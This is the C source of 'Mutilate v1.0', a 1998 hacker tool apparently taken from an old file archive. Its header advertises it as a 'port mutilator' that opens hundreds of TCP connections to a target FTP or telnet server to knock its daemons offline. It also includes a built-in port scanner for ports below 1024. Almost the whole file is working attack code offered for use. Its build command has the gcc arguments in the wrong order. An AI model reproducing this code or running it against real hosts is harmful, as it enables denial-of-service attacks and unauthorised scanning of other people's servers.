home *** CD-ROM | disk | FTP | other *** search
- /*********************************************
-
- * Mutilate v1.0 *
-
- * By HoGs HeaD *
-
- * ------------------------------------------ *
-
- * What this program does: *
-
- * ------------------------------------------ *
-
- * This is a port mutilator, connects as *
-
- * many times as possible to a port resulting *
-
- * in a DoS attack or lag kill. Run it on *
-
- * a small FTP server or telnet server and *
-
- * watch the daemons fall.... *
-
- * Fear the built-in port scanner! *
-
- * Build using: *
-
- * *
-
- * $ gcc mutilate -o mutilate.c *
-
- * *
-
- * You can't modify this and redistribute it *
-
- * unless i have given you permission. *
-
- * *
-
- * (C)1998 HoGs HeaD & Inertia *
-
- *********************************************/
-
-
-
- #include <stdio.h>
-
- #include <sys/socket.h>
-
- #include <sys/time.h>
-
- #include <netinet/in.h>
-
- #include <netinet/in_systm.h>
-
- #include <netinet/ip.h>
-
- #include <netinet/ip_icmp.h>
-
- #include <errno.h>
-
- #include <netdb.h>
-
- #include <signal.h>
-
-
-
- #define PROG_NAME "Mutilate"
-
- #define HIGH_PORT 1024
-
-
-
- /***************
-
- * Usage Table *
-
- ****************/
-
-
-
- void usage()
-
- {
-
- printf("usage: %s <IP address> <port (or -s for scan)>\n\n", PROG_NAME);
-
- exit(0);
-
- }
-
-
-
- /****************
-
- * Title Banner *
-
- *****************/
-
-
-
- void banner()
-
- {
-
- puts("\nMutilate by HoGs HeaD and Inertia");
-
- puts("----------------------------------\n");
-
- }
-
-
-
- /********************
-
- * PortScan Function *
-
- ********************/
-
-
-
- void portscan(char *the_ip)
-
- {
-
- struct hostent *scand; /* Well golly jeepers batman, let's init some shiz... */
-
- struct sockaddr_in scan;
-
- int sck;
-
- int c, portnum;
-
-
-
- for(portnum=1; portnum<HIGH_PORT; portnum++){ /* start the hunt.. */
-
-
-
- if(isdigit(*the_ip)){
-
- scan.sin_addr.s_addr = inet_addr(the_ip);
-
- } else{ /* resolve the host */
-
- scand = gethostbyname(the_ip);
-
- strncpy((char *)&scan.sin_addr, (char *)scand->h_addr, sizeof(scan.sin_addr));
-
- }
-
-
-
- scan.sin_family = AF_INET;
-
- scan.sin_port = htons(portnum);
-
- sck = socket(AF_INET, SOCK_STREAM, 0); /* create the socket */
-
-
-
- if(sck < 0){
-
- printf("Socket cannot be established!\n");
-
- }
-
-
-
- c = connect(sck, (struct sockaddr *)&scan, sizeof(scan)); /* connect the socket */
-
- if(c < 0){
-
- /* we aren't connected, so... */
-
- } else{
-
- /* we're connected, bewm, notify user. */
-
- printf("Found an open port on %d...\n", portnum);
-
- }
-
-
-
- shutdown(sck, 2);
-
- }
-
- close(sck);
-
- }
-
-
-
-
-
- /****************
-
- * Main Function *
-
- ****************/
-
-
-
- void main(int argc, char **argv)
-
- {
-
- struct hostent *th;
-
- struct sockaddr_in target[400];
-
- int count=1;
-
- int sock, error, port;
-
- char *curr_ip;
-
-
-
- banner();
-
-
-
- if(argc < 3){
-
- usage();
-
- }
-
-
-
- curr_ip = argv[1];
-
-
-
- if (!strcmp (argv[2], "-s")) {
-
- printf("Beginning a port scan on %s...\n\n", argv[1]);
-
- portscan(argv[1]);
-
- exit(0);
-
- }
-
-
-
- port = atoi(argv[2]);
-
- printf("Now opening connections to %s...\n\n", curr_ip);
-
-
-
- /*******************
-
- * Begin Mutilation *
-
- *******************/
-
-
-
- for(; count<400; ++count)
-
- {
-
-
-
- if(isdigit(*curr_ip)) /* If the host specified is a numerical IP */
-
- target[count].sin_addr.s_addr = inet_addr(curr_ip);
-
- else { /* If the host specified as a hostname */
-
- th = gethostbyname(curr_ip);
-
- strncpy((char *)&target[count].sin_addr, (char *)th->h_addr, sizeof(target[count].sin_addr));
-
- }
-
-
-
- target[count].sin_family = AF_INET;
-
- target[count].sin_port = htons(port);
-
- sock = socket(AF_INET, SOCK_STREAM, 0);
-
-
-
- if(sock < 0){
-
- printf("Error setting up socket!\n");
-
- exit(2);
-
- }
-
-
-
- error = connect(sock, (struct sockaddr *)&target[count], sizeof target[count]);
-
-
-
- if(error < 0)
-
- printf("Error connecting to: %d : %s\n", port, strerror(errno));
-
- else {
-
- printf("Opened %d sockets to host...\n", count);
-
- }
-
- }
-
-
-
- printf("\nOpened 400 socks to server, ending...\n");
-
- close(sock);
-
- }
-
-
-
- /***************
-
- * End Program *
-
- ***************/
-
-